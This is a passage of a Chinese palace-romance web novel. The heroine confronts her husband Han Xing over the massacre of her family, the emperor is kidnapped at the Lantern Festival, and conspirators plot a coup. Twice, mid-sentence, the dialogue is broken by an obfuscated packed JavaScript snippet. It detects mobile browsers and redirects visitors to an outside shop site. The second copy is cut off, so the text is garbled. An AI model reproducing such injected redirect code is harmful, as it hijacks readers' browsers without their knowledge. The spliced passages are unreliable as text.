席容烟缓了缓神,“睡不着了,扶我起来吧。” 桃夭无法,只得拿了件衣裳给她披上。 席容烟扶着拔步床的围廊,缓步而行。 窗外,月白如昼。 琥珀色的桂魄泠泠溶溶,在夜空中晕染开一大片温暖的昏黄。 她笼着金银藤罩子的红泥小火炉,凭窗而望,心情渐次平复下来。 她默默想,寒星,希望那个人不会是你,希望这真的只是一场噩梦。 桃夭只当她思念寒星,也没有多想,转身出去沏茶了。 不一会儿,桃夭捧着一盏热茶回来,她看见席容烟还站在窗前发怔,于是走上前笑道,“这才几日工夫,姑娘的相思病便害到了这等地步,只怕大汗害病害得比姑娘还厉害呢。” 席容烟没答话,她接过茶,抿了一小口,“好久没抚琴了,桃夭,你把我的琴抱过来。” 桃夭欢喜道,“好啊,我好久没听姑娘弹曲子了,今日可算是能一饱耳福了。” 席容烟轻轻一笑,她抬手拂了一遍九霄环佩的琴弦,心中一时感慨万千。 自从那日大婚生变,她随寒星逃出大魏,已经有将近一年光景未曾碰过此琴了。 如今再弹,竟觉生疏了不少。 一时间,琴音如水,流泄指尖,纷纷扰扰,皆作红尘。 “今夕何夕兮,搴舟中流。今日何日兮,得与王子同舟。蒙羞被好兮,不訾诟耻。心几烦而不绝兮,得知王子。山有木兮木有枝,心悦君兮君不知。”[1] 这首曲子名唤“越人歌”,这是她弹给寒星的第一首曲子。 琴上琴声琴中韵,心上心声心中情。 清音宛转,过往的一幕幕重新浮现在她的眼前。 刹那间,席容烟突然想明白了许多事,原来如此。 她的身子不由得轻轻一颤,寒星,这些年,你瞒我瞒得好苦呀。 一曲毕,她拢袖而起,出门去寻寒木。 寒木见她出来,几乎是立刻便从树上跳了下来,“烟姑娘。” 席容烟定定地看着他,不说话。 寒木一个大男人,哪能经得起她这么看,他有些不好意思地挠了挠头,嬉皮笑脸地说,“烟姑娘,你别这么瞅我呀,这要是让寒星他瞧见了,还以为我们怎么着了呢。” 桃夭扒着门框,探头往外张望,她听见寒木这话,不由得翻了个大大的白眼。 席容烟闻言,正色道,“寒木将军,我有一件事情要问你,如果你觉得为难的话,可以闭口不答,但我希望,你不要有半句虚言。” 寒木心中隐隐有了不好的预感,但他还是硬着头皮说,“烟姑娘请说。” 席容烟语气平静,“我问你,十四年前,镇西大将军陈玄赫的府邸被人放火焚毁,陈家上下五百余人都死在了那场大火中,这件事,是不是席容炎派人干的?” 寒木的喉咙变得干涩起来,他艰难地张了张嘴,可还没等他说话,便听席容烟继续说道,“我说过,你可以选择不回答,但你不可以欺骗我。” 寒木额角渗出冷汗,“烟,烟姑娘。” 席容烟看着他的模样,心中已经有了答案。 她默了默,一字一顿道,“席容炎派去的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565645|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是寒星。” 寒木几乎要喘不过气了,他的心砰砰直跳,好像马上就要从嗓子眼儿里蹦出来。 席容烟垂下眼眸,她似乎是笑了笑,平静地说,“我明白了,我全都明白了。” 寒木后知后觉地解释道,“不,不是,烟姑娘,烟姑娘你听我说……” 席容烟摇摇头,打断了他,“寒木,你不必再说了,也不要再跟着我了,你回去和寒星说,我要他给我一个说法。”她顿了顿,抬头仰望天上的那轮明月,低声道,“越快越好。” 说罢,她再不理会寒木的叫喊,头也不回地离开了。 常德宫。 殿内烛火尽熄,魏晗烨从睡梦中睁开眼睛,唤道,“秦川。” 秦川小心翼翼地捧着蜡烛进来,“陛下怎么醒得这么早,还没到上朝的时辰呢。” “你听没听见琴声?” 秦川侧耳细听,“好像是有人在弹琴,只是隔得远,听不真切,陛下是被这琴声吵醒的吗?要不要奴才——” 魏晗烨挥手打断了他的话,“听这声音,似乎是从东宫传过来的,秦川,给朕更衣。” “啊,陛下,这才四更天呀,您还是再睡一会儿吧。” 魏晗烨却已经下榻了,“啰嗦什么,还不快些。” 魏晗烨赶到东宫时,一曲才过一半。 秦川刚想上去叩门,却被魏晗烨伸手拦住。 魏晗烨驻足在东宫朱红色的院墙外,静静听着从里面飘出的渺渺琴音。 他敛眉听了半晌,和声吟道,“今夕何夕兮,搴舟中流。今日何日兮,得与王子同舟。蒙羞被好兮,不訾诟耻。心几烦而不绝兮,得知王子。山有木兮木有枝,心悦君兮君不知。”[1] 吟罢,他忽然笑了笑,自言自语道,“《越人歌》所记,是女子对男子的心仪,旌儿,你从来没有给我弹过《越人歌》,这一曲,应该也是弹给他的吧。” 秦川道,“陛下为何不进去?反正陈姑娘现在也没睡,陛下进去,岂不是听得更加真切。” 魏晗烨摇摇头,“我原也不是为了听琴而来,既然要放下,又何必生出这许多牵挂。” 秦川大着胆子问道,“那,陛下放下了吗?” “放下了如何,没放下又如何?” “陛下是天子,这天下的万事万物,还不都是归陛下所有吗,若是陛下还惦记着陈姑娘,不如——” 魏晗烨略一抬手,示意秦川不要再说了。 “秦川,你错了,朕即便坐拥天下,也总有许多得不到和已失去的东西,岂不知,襄王有意,神女无心,朕又何必勉强,由她去罢。” 秦川便不作声了。 寒风拂过甬道,魏晗烨大氅风领上的绒毛瑟瑟而动,他抬手拢了拢氅衣,不觉叹了口气,他在心底默默地说,旌儿,我只希望,你能幸福快乐。 秦川识趣,赶紧迎着风,挺身挡在魏晗烨前面。 魏晗烨眺望着东方呼之欲出的那抹曙光,沉声道,“今日,是大魏二十年的第一天。” 秦川笑道,“是呀,转眼又是一年了。” 魏晗烨颔首道,“新的一年了。”他一挥袍袖,转身离去,“走吧。” 秦川提着宫灯跟了上去,“陛下这是要去哪儿?” “去上朝——” 122. 曲终人陌路 大魏二十年。 上元节。 魏晗烨今日起得早,头有些发晕,他一面揉着太阳穴,一面吩咐秦川。 “去把窗子打开,透透气。” 秦川劝道,“陛下,早上风大,您才起身,奴才怕吹着您,还是等下用了膳再开窗子吧。” 魏晗烨正要说话,便听殿外的袁青回道,“陛下,漪公主来了。” “漪公主?”魏晗烨默了半晌,方道,“请她进来。” 魏風漪穿着一身半新不旧的宫装,低头行礼,“参见陛下。” 魏晗烨端详着她,勉力一笑,“漪妹妹是有什么事儿吗?” “我是来和陛下告别的。” “你要走?去哪儿?” 魏風漪摇了摇头,“还没想好,走到哪儿算哪儿吧,我原本是想找一处寺庙,从此青灯古佛,了此一生,只是如今想来,若是心不清净,即便住在寺庙里,也还是不得清静,不过,无论如何,我不想再待在这个是非之地了。” 魏晗烨叹了口气,“一定要走吗?” “嗯,一定要走。” “好吧,人各有志,漪妹妹,一路保重。” 魏風漪抬眼看他,似是笑了笑,“晗烨哥哥,你也是啊。” 不知为何,魏晗烨觉得今日的她有些不一样。 “漪妹妹打算何时动身?” “今晚就走。” “今晚?”魏晗烨试图阻拦,“会不会太匆忙了些,漪妹妹——” 魏風漪立刻打断了他,“我要走了,你不吃杯酒,送送我吗?” 魏晗烨抿了抿唇,将要说的话咽了回去,“好。” 魏風漪便冲秦川点了下头,“有劳秦公公。” 不一会儿,秦川捧了酒回来,“陛下。” 魏晗烨抬手斟酒,“漪妹妹,我敬你。” 魏風漪没有接,她抢过他手中的那杯,含笑饮尽,“晗烨哥哥,从今往后,你我二人,便是陌路,漪儿没什么好祝福你的,只希望凡事你能想开些,别苦了自己。” 她说完,郑重施了一礼,随即转身离开,再未回头。 魏晗烨望着她远去的背影,心中不免唏嘘。 过了一阵儿,他收回目光,问秦川道,“今晚可都安排好了?” 秦川脸上堆着笑,弓身回道,“陛下放心,长街那边全都布置妥当了。” “好。” 魏晗烨垂眸瞧着自己落在金砖上的侧影,轻轻叹气,“旌儿,但愿这样,你能少些难过。” 长街。 天上火树银花,如星如雨。 街上摩肩接踵,嬉笑怒骂。 地上重影交叠,流光溢彩。 魏晗烨和席容烟走在一片鼎沸声中,袁青几个则在后头远远跟着。 “陛下吩咐他们走得远些,可是有话要说?” “嗯。” “那就说吧,我听着呢。” 魏晗烨温和一笑,抬手指了指一个皮影戏的摊子,“别急,我们先看场戏再说。” 席容烟没有反驳,跟着魏晗烨来到摊前。 皮影戏的摊主带了个面具,他扫了一眼二人,压着嗓子问道,“二位要看戏吗?” 魏晗烨说出和秦川对好的暗语,“一夜鱼龙舞。”[1] 摊主点点头,拿出皮影开始了表演。 这是一个很漫长的故事,席容烟起初觉得有些无聊,可是渐渐的,她就看了进去。 这最开始出场的是两个少年人,他们一个是王爷,一个是将军,二人多次同生共死,结成兄弟,关系十分要好。 当时的皇帝疑心王爷要谋权篡位,将他遣往边关平乱,暗地里则埋下伏兵取他性命,王爷到达边关时才发现这是一场骗局,他慌忙回撤,却已经来不及了。 在这千钧一发之际,将军不顾自身安危,毅然出手相救,最终,王爷夺取了天下,成就了一代霸业,然而,在坐稳江山之后,成为皇帝的王爷开始怀疑,将军是不是也有谋反之心。 将军是个直性子,对此浑然不觉,他把现在的皇帝仍旧当成兄弟看待,一言一行,不拘小节,皇帝虽然没有说什么,但他对此却是越来越不满。 这个国家的西边还有个邻国,两国多次交战,各有胜负,邻国在数年前经历了一场变故,曾经有勇有谋的邻国皇帝死了,现在掌权的则是个没什么本事的草包皇帝。 将军希望能早日一统天下,于是多次上书,请求出征,但皇帝担心将军屡建奇功,功高盖主,于是一一驳回。 将军因为此事,同皇帝发生了激烈的争吵,可他不知道的是,现在的皇帝早已经不是从前的王爷,更不是那个同他结为兄弟的人。 皇帝终于对将军起了杀心,但碍于将军在朝中的威望,他不敢明着下手,只能暗中运作此事。皇帝提拔了一个出身寒门的微末小吏,并将小吏的女儿纳入后宫,在皇帝的支持之下,不过两三年的光景,小吏摇身一变,成为朝中极为重要的一股势力。小吏在府中豢养了一批武功高强的暗卫,并用毒药迫使他们为自己效力。 在这些暗卫中,便有从前那个邻国皇帝的亲生儿子,他之所以甘心为人鹰犬,隐忍不发,为的便是有朝一日可以回到自己的国家,报仇雪恨。 将军看不惯小吏当面曲意奉迎,背地颐指气使的做派,与他多次发生龃龉,后来,小吏向皇帝出首将军,说他有谋反之心,朝中官员自然不信,纷纷指责小吏包藏祸心,皇帝没有处罚小吏,只是不痛不痒地说了他几句,将军心胸一向宽广,也没有把这事放在心上。 谁料,没过几日,将军府突然起了一场大火,将军全家人都死在了那场大火中,这时候,小吏拿出了事先准备好的“通敌书信”,诬陷将军是畏罪自焚,死有余辜,众人都不相信,要求彻查,皇帝却说证据确凿,强行将此事压了下去。 经此一事,小吏一步登天,成为一人之下万人之上的宰相,而从前那个邻国皇帝的儿子因为杀了将军全家,立下大功,成为宰相府的暗卫统领。机缘巧合,他在一个中秋夜救助了一个无家可归的小女孩,谁都没有想到,这个小女孩竟然是将军最小的女儿。 原来事发当日,她的奶姆为了救她一命,让她与自己的女儿互换了衣服,死在大火中的那个女孩是奶姆的女儿,而将军的女儿则活了下来。 皮影戏还在继续,席容烟望着皮影,眼角冰凉。 她伸手制止摊主,“我不想看了,不必再演了。” 魏晗烨神色歉然,“旌儿,对不住,其实我原本不打算和你说这件事了,只因你说过,你不喜欢被人欺瞒,我想了许多日,最终决定以这种方式告诉你,希望你能好受一些。” 席容烟仍是笑着,摇头道,“晗晔,你没有对不住我,恰恰相反,我要谢谢你,谢谢你如此坦诚,谢谢你告诉了我事情的全部真相,我真的很感激你。” 魏晗烨听见她叫自己“晗晔”,心中一时五味杂陈,沉吟道,“其实这件事,皆因父皇疑心太重而起,旌儿,我对你,也是有愧的。” 席容烟苦笑,“不是你的错,你那个时候也还什么都不懂,我不怪你。” 魏晗烨张了张嘴,刚想说些什么,忽觉一阵眩晕。 他身形一晃,几乎跌倒,连忙用手撑住地面,目光所及,景象尽数颠倒。 他的耳边模模糊糊传来了席容烟关切而又焦急的声音,“晗晔,你怎么了?” 魏晗烨很想安慰她两句,可他的意识逐渐涣散,已经没有办法说出完整的话来,不知道是不是幻觉,在彻底昏倒之前,他的余光瞥见了那个皮影戏摊主的唇角挂着一丝狞笑。 袁青第一时间发觉不对,他足尖点地,飞身上前,口中直呼,“陛下!” 可是已经迟了,不知从哪里闪出一道黑影,将魏晗烨疾速卷走。 袁青见状,赶紧追了上去。 四周瞬间乱成一团,席容烟怔在当地,却听身后突然传来桃夭的一声惊呼,“姑娘小心!” 她被一个人搂在怀中,身子霎时腾空而起,几乎同时,一直躲在暗处的寒木纵身一跃,横刀拦住那人,寒木的武功不错,可即便如此,他与那人缠斗在一处,依旧有些吃力。那人一手抱着席容烟,一手拔剑反击寒木,尚能做到游刃有余。 而寒木害怕伤到席容烟,动作稍一犹豫,便落了下风。 眼看席容烟就要被他带走,就在这千钧一发之际,一个身披竹月色狐裘大氅的男子从天而降,劈掌便打。 那人没有防备,左臂上扎扎实实挨了一下,抱着席容烟的手不由得一松,男子趁机接住了席容烟。 四目相对,席容烟凝望着男子的眉眼,半是惊喜,半是愕然,半是伤悲,“寒星?” 寒星神情淡漠,薄唇微张,他对追来的那人提剑虚晃一下,拉着席容烟飞身而去。 风声刮过耳畔,席容烟的声音擦着流云,转瞬即逝,“放我下来。” 寒星紧紧握住她的手,充耳不闻。 “寒星,松开我!” 寒星依旧不说话。 席容烟气急,张嘴咬住了他的虎口,鲜血淋淋沥沥,浸染了她的朱唇,寒星垂眸看她,眼底是无尽的苍凉与落寞,他呢喃着,“阿烟,你就这么恨我?” 她怔了怔,松开了口。 寒星自嘲般地笑了笑,“你恨我,也是应该的。” 他抱着她凌空几个踏步,最后在一处屋檐上旋身落定。 席容烟定睛一看,又是一怔。 此处,居然是宰相府的藏书阁。 她想起了那晚,二人沐着漫天星辉许下的誓言。 “我寒星在此立誓,此生只娶席容烟一人,往后余生,永不相负。” “漫天神佛为证,我席容烟此生只嫁寒星一人,往后余生,永不相负。” 松风清,松月明。 一切一切,恍如隔世。 二人久久静立,默然无语。 半晌,席容烟深吸一口气,“寒星,你是不是应该给我一个说法。” 寒星抬眼望向没有尽头的黑夜,嘴角挂了一抹凄冷的笑,“是我干的。” “是你,干的?” “是。” 席容烟阖上眼睛,“是你,杀了我的父母?” “是。” “是你,杀了陈府上下五百余人?” “是。” “是你,一把火烧掉了一切?” “是。” 席容烟肝肠寸断,心如刀绞,可她固执地张口,还要再问,她不知道自己在期待什么,这一刻,她多么希望寒星可以扯个慌,告诉她,不是。 寒星将她揽入怀中,“阿烟,是我,都是我,不要再问了,不要再折磨自己了。” 席容烟双唇颤动,身子抖个不停,她很想笑,也很想哭,可她哭不出来,也笑不出来。 “放开我。” “阿烟。” “放开我!” 寒星默默松开了手,他看着她惨白的面容,心痛不已。 她缓步上前,霍地从他腰侧抽出青霜剑。 寒星一惊,“阿烟,你要做什么,快把剑放下。” 席容烟翻转剑身,仔细端详,“真是一把好剑。” 寒星怕她想不开,连忙上前一步,劝道,“阿烟,别做傻事。” “哈哈哈。”席容烟笑了起来,笑声中掺杂着爱与恨,憎与悔,她抬起剑,指着寒星,冷声道,“怎么,你怕我拔剑自刎吗?” “我——” “寒星,在你眼中,我就这么不堪一击吗?明明是你犯了错,我不杀你,反而杀我自己,你觉得我是这样愚蠢而又软弱的人吗?” 寒星动了动唇,终是没有说话。 青霜剑的剑尖抵在他的心口,他没有躲,只是静静注视着她。 席容烟狠狠心,手上稍一使力,顷刻间,竹月色的狐裘上绽放出朵朵红梅,那是他的血。 席容烟的眼角倏然滑落两行清泪,“为什么不躲?为什么!” 寒星苍凉一笑,伸手握住剑身,他咬着牙,往前走了一步,席容烟看着他心口处漫延开的那一大片殷红,仓惶后退,便听寒星轻声道,“阿烟,你还是舍不得我死的,对不对?” 席容烟闻言,仿佛一下子被抽空了所有力气,她松开握剑的手,无力地滑跪在地,泣不成声。 “是,我舍不得,寒星,其实我对你的恨,有一半都来源于我自己。” 她仰头看着他,眸中沁满泪花,一字一顿道,“我恨,我爱上了你,我恨,我爱上了我的仇人,我恨,我将自己完完全全交给了你。与其说我恨的是你,不如说我恨的是我自己。” 寒星的心在滴血,他蹲下身子,试图抱住她,却被她一把推开。 “你不要碰我!” 他的喉结滚动了一下,“阿烟,对不起。” 席容烟发丝凌乱,逸在空中,夜晚的狂风扯碎了她残破的笑声,如刀子般扎进他的心头,“哈哈哈,你说什么?对不起?寒星,我的父母,我的族人,我们全家上上下下五百余人的性命,你一句对不起就完了?!” “阿烟——” 席容烟摇头,“不要再叫我阿烟,你不配。” 寒星一把抱住了她,“不,阿烟!” 她拼命挣扎,“放开我!” “不,阿烟,我不能放手,我怕我这一放手,就什么都留不住了。” 席容烟挣扎了许久,终于没了力气,她把头埋在他的肩上,哭出了声,“为什么是你!为什么偏偏是你!寒星,为什么?为什么!你说呀!为什么!” 寒星无话可说,只能一遍遍道歉,“阿烟,对不起……对不起……对不起……” 席容烟哽咽道,“寒星,我的命是你救的,你知道吗,我从前一直以为,我就算用我这辈子来还你也是还不清的,可我没有想到,原来把我从地狱里救出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的手无力地滑了下去,指尖沾染的殷殷鲜血在衣服上留下了一道刺眼而又靓丽的红痕,他喃喃道,“没用的,该来的还是来了,阿烟,你若恨我,便杀了我吧。” 席容烟不可置信地抬眼看他,“你说什么?” 寒星的声音却是前所未有的平静,“我知道,是我对不住你,唯有一死,可以偿还。” 他摊开她的手掌,将剑轻轻搁了上去,“阿烟,动手吧。” 她的身子不受控制地战栗起来,手中的青霜剑仿佛重若千钧,坠的她喘不过气来。 席容烟使尽浑身力气,将剑抵在他的颈侧,她只消轻轻一划,他便留不得命在。 一直在暗处观望的寒木见状,疾步上前,大喊道,“烟姑娘!” 寒星没有回头,只说,“别过来。” 寒木气得咬牙切齿,“寒星你疯了吗,你——” 他无奈摇头,看向席容烟,“烟姑娘,我从前恳请过姑娘,如果有一天你不爱他了,也请你看在他曾经对你的好的份上,不要把他往死路上逼,你那时答应了。今日,我求你履行诺言,放过他吧,寒星对你是真心的。” 他说着,当场跪了下去。 寒星余光瞥见,冷声道,“木头,你给我起来,别在这儿丢人现眼。” “寒星,你忘了你能从暗卫营活下来有多不容易了是不是,你就这么轻而易举地将自己的性命交出去,值得吗?” 寒星凝视着席容烟的眼眸,一字一顿道,“值得。” 席容烟的手再也握不住剑,泪水夺眶而出,模糊了眼前的一切。 她扔了剑,“寒星,我会杀你,我早晚会杀你,但不是现在。” “为什么?” “没有为什么。”她顿了顿,继续说,“寒星,无论如何,你救过我,可我也救过你,我们之间就算是扯平了。我父母的仇,我陈家的仇,我会帮他们报的,寒星,你记住,我会用真本事杀你,不需要你来给我这个机会,我会在战场上堂堂正正地杀你。” “扯平了?”他似乎是笑了笑,“阿烟,救命之恩可以偿还,那么这些年的恩爱与情谊呢,你告诉我,这笔账又该怎么算?” 她只觉得,胸口闷闷地痛,她艰难地喘了一口气,“忘了这一切吧。” “忘了这一切。”他重复了一遍,垂眸轻笑,“好,忘了这一切。” 席容烟抬指拭泪,他下意识伸出手,想要帮她,却在下一秒意识到自己已经没有资格了。 寒星的手滞在半空,悄然垂落。 她的眼角挂了一抹晶莹的哀伤,她俯瞰着月光下的漆黑,第一次知道了心碎是什么滋味。 “阿星,你还有什么话要说吗?” 他唇瓣微动,他其实有好多好多的话想对她说,可他却一个字也说不出来。 “好,那我来说。” 她侧过脸,凝眸看他,缓声道,“阿星,这是我最后一次这样叫你。十多年前,是你,把我从红翠馆的老鸨手里抢出来,抱回了宰相府。宰相府的日子不算好过,可比起红翠馆,不知道要好上多少。这十多年来,我一直把你当作我的救命恩人,后来,我们又一起经历了许许多多的事情,你是我的夫君,是我在这世上唯一的亲人,是我生命中最为重要的存在。阿星,我曾经真的以为,我们会一直这样,恩恩爱爱,安安稳稳,长长久久地过一辈子。” 他心下钝痛,不自觉开口唤道,“阿烟——” 她轻轻摇头,打断了他要说的话,“可惜,我错了。” 她定定地注视着他冰蓝色的眼眸,认真地说,“寒星,我不后悔爱过你,你曾经给予过我的,是我毕生不可多得的温暖,你说我是你的光,可你又何尝不是我的光呢。只是如今,我不能再爱你了,我们之间隔了太多的恩与怨,是与非,我们再也回不去了。” 她叹了口气,“我现在对你下不了杀手,所以寒星,你要好好活着,等着我去杀你,早晚有一天,我会亲手了结这一切。” 寒星沉默了,半晌,他突然伸手拉住了她的手,放在自己还流着血的心口处,她愣了愣,下意识地想要抽回自己的手,却听他絮絮道,“阿烟,你听我说,我这条命,永远是你的,你什么时候想要,随时来取。你恨我也好,不恨也罢,你要记住,我爱你,永远只爱你一个。” 席容烟艰难地牵动嘴角,勉力一笑,“真是……造化弄人……” 寒星眸底苦涩,鼻尖酸楚,“是啊,真是造化弄人。”他的喉结滚动了一下,“阿烟,那就这么说定了,我等着你,来取我的性命。” 席容烟眼中蓄泪,应了一声,“好。” 他旋身抱起她,月华如水,流泻天际,漫天星子,簌簌而落。 一切的一切,一如当年。 二人从藏书阁的屋檐回到了地面,寒星放下她,说了声,“保重。” 席容烟点点头,“保重。” 寒木慢了半拍,他赶到时,席容烟已经走远了。 寒木望着席容烟的背影,轻声一叹,“寒星,你放走了她,你会后悔的。” 寒星淡淡一笑,“或许吧,但至少眼下,我不后悔。” 寒木无话可说,唯有叹气而已。 寒星拍了拍他的肩膀,“走,木头,陪我吃杯酒去。” 寒木爽快答应,“好呀。” 123. 三宴缀锦楼 缀锦楼。 二人要了二楼的雅间,来福端着酒菜,弓身而入,笑道,“两位客官,菜齐了,请慢用。” 寒星微一颔首,寒木不耐烦地挥挥手,“去吧去吧。” 来福一走,寒木马上开口问道,“你打算怎么办?” 寒星慢悠悠地提壶斟酒,“什么怎么办?” “装什么傻,你和烟姑娘呀。” “还能怎么办,就这么办呗。” 寒木扬脖猛灌了一大口酒,叹气道,“哎,你们两个,可惜了。” 寒星闻言笑了笑,“人生在世,可惜的事儿多了去了,看开了,便好了。” “你不是很爱她吗,你怎么一点都不伤心?” 寒星啜了口酒,他冰冷疏落的眉眼倒映在酒里,裹着昏黄的烛火,分外寒凉。 “伤心呀,怎么能不伤心呢。我还记得,我刚刚知道她的身世的时候,我浑身上下的血都是凉的,从那天起,我和她在一起的每一分每一秒,仿佛都成了不可追忆的过往。我明白,她一旦得知真相,定会弃我而去,每次想到这里,我的心就仿佛被人用刀子一片片割下。我不知道我能瞒她多久,我不知道我们还能有多少日子,木头,我伤了太久太久的心,伤到如今,已经是伤无可伤。我原以为,今夜我会痛彻心扉,可我也没有想到,原来我早就已经料到了这个结局,所以,等真到了这一刻,我心中并无大悲大恸,有的只是迟来的钝痛罢了。” 寒木唏嘘不已,却也不知道应该如何安慰他,只能举杯道,“来,都在酒里了,今夜,我们不醉不归!” 寒星抬手同他碰杯,神色如常,“不醉,不归。” 屋外人声热络,“呦,方公子来啦,您楼上请。” 方承鹤笑道,“几日不见,尹娘子的气色愈发好了。” 尹娘子面色红润,“方公子可真会说话,都给奴家说不好意思了。” 数月前,黄大在红翠馆有了新的相好,尹娘子同他大吵一架,二人从此一拍两散。 黄大虽然是个好色之徒,倒也还算是有情有义,念着同她好了一场,将这缀锦楼送给了尹娘子。 尹娘子也是个明事理的,得了这份家私,不哭不闹,由着黄大去了。 她上了年纪,再怎么风韵犹存,也掩盖不了年老色衰的事实,如今有了缀锦楼这个营生,她索性丢开手,该吃吃,该喝喝,还养了四五个容貌俊俏的小戏子,只图自己逍遥快活。 “哈哈哈哈,裴兄可到了?” “裴公子早就到了,您快请吧。” 尹娘子亲自将方承鹤送上了楼,她下楼时,瞧见二楼梅花式栏杆旁立着一人。 尹娘子是风月场中的老手,只一打眼,便看出这人身份不同寻常,即便这人只穿了一身粗衣麻布,也掩盖不了他由内而外散发出来的灼灼贵气。 她眼珠一转,赶紧迎上前去,“诶呀,这位客官——” 那人闻声转过身来,她瞧见他的模样,吓得花容失色,踉跄地退后两步,“你的脸——” 那人抬手碰了碰自己满是疤痕的面颊,歉然道,“抱歉,吓到你了。” 他的声音很好听,像是碎玉,玲玲盈耳。 他这一开口,尹娘子反倒不怕了。 她上前一步,挤出一丝笑来,试探道,“这位客官瞧着面生得很,不知道怎么称呼?” “我姓莫。” “原来是莫公子。”尹娘子上上下下打量着他,只觉得这个人依稀有些眼熟,却又想不起来何时见过,“莫公子从前来过咱们缀锦楼吗?” 那人尚未答言,三楼雅间的门却是突然开了,方承鹤探身张望,笑道,“莫闲,快上来,就等你了。” 莫闲点点头,提步而上,“就来。” 尹娘子不免有些惊愕,不过很快,她就换了一副嘴脸,笑逐颜开道,“原来是方公子的朋友,刚刚真是失礼了,快请快请,我这就去给你们烫壶好酒,等下亲自给你们送上去赔罪。” 方承鹤多少听说了一点尹娘子的风流韵事,连忙摆手,“哈哈哈,算了吧,怎么敢劳烦尹娘子亲自过来,没得耽误了尹娘子的春宵一刻,让盼儿端了酒,送上来就是了。” 尹娘子闻说也不尴尬,“那敢情好,这丫头正在底下绣嫁衣呢,等下我就让她上去陪着几位公子说笑。” “哈哈哈,真快呀,这一晃眼,盼儿都要嫁人了,恭喜恭喜呀。” “谢谢方公子,到时候来吃喜酒呀!” “一定一定。” 莫闲听见“盼儿”的名字,脚下不由一顿。 方承鹤不疑有他,拉他进来,“想什么呢,快来,我给你介绍介绍。” 房门“砰”的一声关上了,尹娘子歪头琢磨了一阵儿,迈着碎步下楼找盼儿去了。 莫闲之前特意嘱咐过方承鹤,要挑个烛光昏暗的地方,因此,方承鹤拉他坐在了一个不起眼的角落里,旁人若不细看,倒是辨不清他脸上究竟是疤痕还是影子。 莫闲才一落座,便听席间一人笑道,“哈哈哈哈,才说仰山来的迟,却不想还有更迟的,不行不行,非要罚酒一杯才好。” 方承鹤道,“文敏,你性子也太急了,怎不知好事多磨的道理,急什么呀。” 自从席容一家落败,李茂和李莲蔚都被罢了官,贬为庶人,李莲蓉本来就是个没本事的富贵闲人,遭此变故,郁闷了好一阵儿,如今听说皇上对李家有重新起用的意思,怎能不急。 李莲蓉叹了口气,“仰山兄,你是不知道啊,落魄的凤凰不如鸡,我家一朝失势,从前瞧不上眼的人都能来踩上一脚,这样的日子我是受够了!我知道,仰山兄有太皇太后做依仗,自然是不怕的,但求仰山兄帮扶一二,李家定会铭记于心,涌泉相报。” “哈哈哈,从前看惯了你吊儿郎当的样子,如今你一下子正经起来,倒是唬了我一大跳。” “嗐,什么时候说什么话,我家都这样了,我还能如何。” 方承鹤出言安抚,“别急别急,今日我请诸位过来,正是为了共商大计,共谋出路。” 莫闲提壶斟酒时,留神扫了一圈席上之人,一大半他都是认得的,不过其中有两三个人,他倒是从未见过,刚才方承鹤给他介绍的时候,似乎也特意略过了这几个人。 莫闲尚在思索,便听其中一人说道,“我听方公子的意思,似乎是已经胸有成竹了,既如此,不妨说出来,我们大家一起听听。” 方承鹤一笑,“秦公子,旁人不知也就罢了,难道连你也不知吗?” 秦川轻摇折扇,“嗤,我能知道什么。” 方承鹤敛了笑意,正色道,“明人不说暗话,在座诸位都同魏家有着些许过节,若诸位愿意拥我为帝,有朝一日,我必以高官厚禄,满门荣耀为谢。” 众人听了,面上惊骇,俱不敢言。 裴延敬忙拉他道,“仰山莫不是吃多了酒,怎的突然说起胡话来了?” 方承鹤笑道,“裴兄莫急,我知道裴兄一向是不喜欢掺和这些事儿的,我若不假托随意聚聚的名义,又怎能把裴兄诓骗出来。只是如今,裴兄既然已经到了这里,不妨听完再走,也不算白来一遭。” 裴延敬拂袖起身,一脸怒容,跌足道,“仰山,你真是害苦我了。” 说罢,他抬腿便要走。 一旁的宁凯风张了张嘴,似乎是想说些什么,他想了想,终究还是把话咽了回去。 方承鹤也不拦他,淡淡一笑,说道,“裴兄以为,你现在离开便能撇清干系了吗?你信不信,我今日在缀锦楼请客做东的事情,明日便会传遍朝野上下,只要是进了这个门的人,都逃不脱嫌疑,裴兄即便是现在走了,也是无济于事,还不如坐下一听,万一他日东窗事发,皇上怪罪下来,裴兄还能为自己辩白辩白。” 裴延敬伸手指着他,气得说不出话来,“你——” 礼部侍郎白昭见状,上去扶住裴延敬,“存义,仰山说得也有道理,我们不妨听听再说。” 楚天琦抬手给自己斟了一盅酒,这趟浑水他自然是不愿掺和的,不过看个戏,他倒是并不介意。 “方公子费尽心思,把我们这些人搜罗到一块儿,想必是已经有万全之策了。” 方承鹤拱了拱手,“自然,只是还需仰赖诸位,方能一起成就一番大业。” 宁凯风此前一直缩着脖子,不敢吭声,如今见众人都开口说了几句话,他才讷讷地说,“毕竟是要掉脑袋的事儿,仰山兄,你若不说清楚了,谁敢跟着你干。” “也罢。”方承鹤转头吩咐小厮,“三月,你去门口守着,一只苍蝇都不要放进来。” “是,公子。” 方承鹤把玩着纹银镶玛瑙滚珠的酒盅,悠悠开口道,“诸位怕是还不知道,就在刚刚,皇上在长街上被人劫走了,整个皇宫现在都乱成一团了。” 楚天琦闻言一惊,“真的吗?” 方承鹤嗤笑道,“瞧楚将军说的,这种事,我还能骗你不成。” 张宇思忖道,“如此说来,这的确是一个难得的机会,只是仰山,你并非大魏皇室出身,纵然我们拥戴你,你也是名不正言不顺,如何服众?” 方承鹤啜了口酒,“你们别忘了,我的姑母可是太皇太后,地位何等尊容,只消她一道旨意,便可让我出为继嗣。” 赵太妃之从弟赵参皱眉道,“既如此,方公子又何必找我们这些人呢?” 